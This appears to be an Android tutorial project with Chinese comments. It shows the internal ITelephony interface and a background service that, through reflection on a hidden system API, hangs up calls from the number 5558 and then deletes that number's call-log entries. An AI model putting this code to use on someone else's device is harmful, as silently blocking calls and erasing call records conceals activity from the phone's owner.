since it's called * directly from the key queue thread). */ void answerRingingCall(); /** * Silence the ringer if an incoming call is currently ringing. * (If vibrating, stop the vibrator also.) * * It's safe to call this if the ringer has already been silenced, or * even if there's no incoming call. (If so, this method will do nothing.) * * TODO: this should be a oneway call too (see above). * (Actually *all* the methods here that return void can * probably be oneway.) */ void silenceRinger(); /** * Check if we are in either an active or holding call * @return true if the phone state is OFFHOOK. */ boolean isOffhook(); /** * Check if an incoming phone call is ringing or call waiting. * @return true if the phone state is RINGING. */ boolean isRinging(); /** * Check if the phone is idle. * @return true if the phone state is IDLE. */ boolean isIdle(); /** * Check to see if the radio is on or not. * @return returns true if the radio is on. */ boolean isRadioOn(); /** * Check if the SIM pin lock is enabled. * @return true if the SIM pin lock is enabled. */ boolean isSimPinEnabled(); /** * Cancels the missed calls notification. */ void cancelMissedCallsNotification(); /** * Supply a pin to unlock the SIM. Blocks until a result is determined. * @param pin The pin to check. * @return whether the operation was a success. */ boolean supplyPin(String pin); /** * Supply puk to unlock the SIM and set SIM pin to new pin. * Blocks until a result is determined. * @param puk The puk to check. * pin The new pin to be set in SIM * @return whether the operation was a success. */ boolean supplyPuk(String puk, String pin); /** * Handles PIN MMI commands (PIN/PIN2/PUK/PUK2), which are initiated * without SEND (so <code>dial</code> is not appropriate). * * @param dialString the MMI command to be executed. * @return true if MMI command is executed. */ boolean handlePinMmi(String dialString); /** * Toggles the radio on or off. */ void toggleRadioOnOff(); /** * Set the radio to on or off */ boolean setRadio(boolean turnOn); /** * Request to update location information in service state */ void updateServiceLocation(); /** * Enable location update notifications. */ void enableLocationUpdates(); /** * Disable location update notifications. */ void disableLocationUpdates(); /** * Enable a specific APN type. */ int enableApnType(String type); /** * Disable a specific APN type. */ int disableApnType(String type); /** * Allow mobile data connections. */ boolean enableDataConnectivity(); /** * Disallow mobile data connections. */ boolean disableDataConnectivity(); /** * Report whether data connectivity is possible. */ boolean isDataConnectivityPossible(); Bundle getCellLocation(); /** * Returns the neighboring cell information of the device. */ List<NeighboringCellInfo> getNeighboringCellInfo(); int getCallState(); int getDataActivity(); int getDataState(); /** * Returns the current active phone type as integer. * Returns TelephonyManager.PHONE_TYPE_CDMA if RILConstants.CDMA_PHONE * and TelephonyManager.PHONE_TYPE_GSM if RILConstants.GSM_PHONE */ int getActivePhoneType(); /** * Returns the CDMA ERI icon index to display */ int getCdmaEriIconIndex(); /** * Returns the CDMA ERI icon mode, * 0 - ON * 1 - FLASHING */ int getCdmaEriIconMode(); /** * Returns the CDMA ERI text, */ String getCdmaEriText(); /** * Returns true if OTA service provisioning needs to run. * Only relevant on some technologies, others will always * return false. */ boolean needsOtaServiceProvisioning(); /** * Returns the unread count of voicemails */ int getVoiceMessageCount(); /** * Returns the network type */ int getNetworkType(); /** * Return true if an ICC card is present */ boolean hasIccCard(); /** * Return if the current radio is LTE on CDMA. This * is a tri-state return value as for a period of time * the mode may be unknown. * * @return {@link Phone#LTE_ON_CDMA_UNKNOWN}, {@link Phone#LTE_ON_CDMA_FALSE} * or {@link PHone#LTE_ON_CDMA_TRUE} */ int getLteOnCdmaMode(); }
package com.shellway.endcall; import android.support.v7.app.ActionBarActivity; import android.content.Intent; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; public class MainActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //這裏咱們讓應用一啓動就開始一個服務 Intent intent = new Intent(this,EndCallService.class); startService(intent); } }
package com.shellway.endcall; import java.lang.reflect.Method; import com.android.internal.telephony.ITelephony; import android.app.Service; import android.content.Context; import android.content.Intent; import android.database.ContentObserver; import android.net.Uri; import android.os.Handler; import android.os.IBinder; import android.provider.CallLog.Calls; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; public class EndCallService extends Service { private TelephonyManager tm; private MyPhoneStateListener listener; @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); listener = new MyPhoneStateListener(); tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } private class MyPhoneStateListener extends PhoneStateListener { @Override public void onCallStateChanged(int state, String incomingNumber) { // TODO Auto-generated method stub super.onCallStateChanged(state, incomingNumber); switch (state) { case TelephonyManager.CALL_STATE_IDLE://閒置狀態 break; case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態 break; case TelephonyManager.CALL_STATE_RINGING://響鈴狀態 /** * Android裏面全部的底層服務都是交給了一個類ServiceManager來管理,咱們能夠用Everything工具來找到這個類 * 這個類裏面有IBinder getService(String name),void addService(String name,IBinder service) * 這裏咱們要想獲得Android給咱們提供好的掛斷電話方法endCall(),就得先獲得它給咱們返回的IBinder對象 * 而後把它轉成ITelephoneService */ endcall(incomingNumber); break; default: break; } } public void endcall(String incomingNumber){ if(incomingNumber.equals("5558")){ try { //這裏爲了搞到ServiceManager裏的getService返回給咱們一個IBinder對象,用了反射實現 Class clazz = Class.forName("android.os.ServiceManager"); Method method = clazz.getMethod("getService", String.class); //這個是代理對象,咱們還要對它進行轉化 IBinder service = (IBinder) method.invoke(null, Context.TELEPHONY_SERVICE); ITelephony ibinder = ITelephony.Stub.asInterface(service); ibinder.endCall(); //註冊一個內容提供者 getContentResolver().registerContentObserver(Calls.CONTENT_URI, true, new MyContentObserver(incomingNumber)); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } } private class MyContentObserver extends ContentObserver{ private String incomingNumber; public MyContentObserver(String incomingNumber) { super(new Handler()); // TODO Auto-generated constructor stub this.incomingNumber = incomingNumber; } @Override public void onChange(boolean selfChange) { // TODO Auto-generated method stub super.onChange(selfChange); //刪除通話記錄 經過記錄的存儲是一個異步的操做 Uri uri = Calls.CONTENT_URI; getContentResolver().delete(uri, "number = ?", new String[]{"5558"}); //取消內容觀察者 getContentResolver().unregisterContentObserver(this); } } } }
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context="com.shellway.endcall.MainActivity" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/hello_world" /> </RelativeLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.endcall" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <!-- 監聽電話狀態的權限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- 掛斷電話須要同打電話同樣的權限 --> <uses-permission android:name="android.permission.CALL_PHONE"/> <!-- 讀、寫通話記錄的權限 --> <uses-permission android:name="android.permission.READ_CALL_LOG"/> <uses-permission android:name="android.permission.WRITE_CALL_LOG"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".EndCallService"></service> </application> </manifest>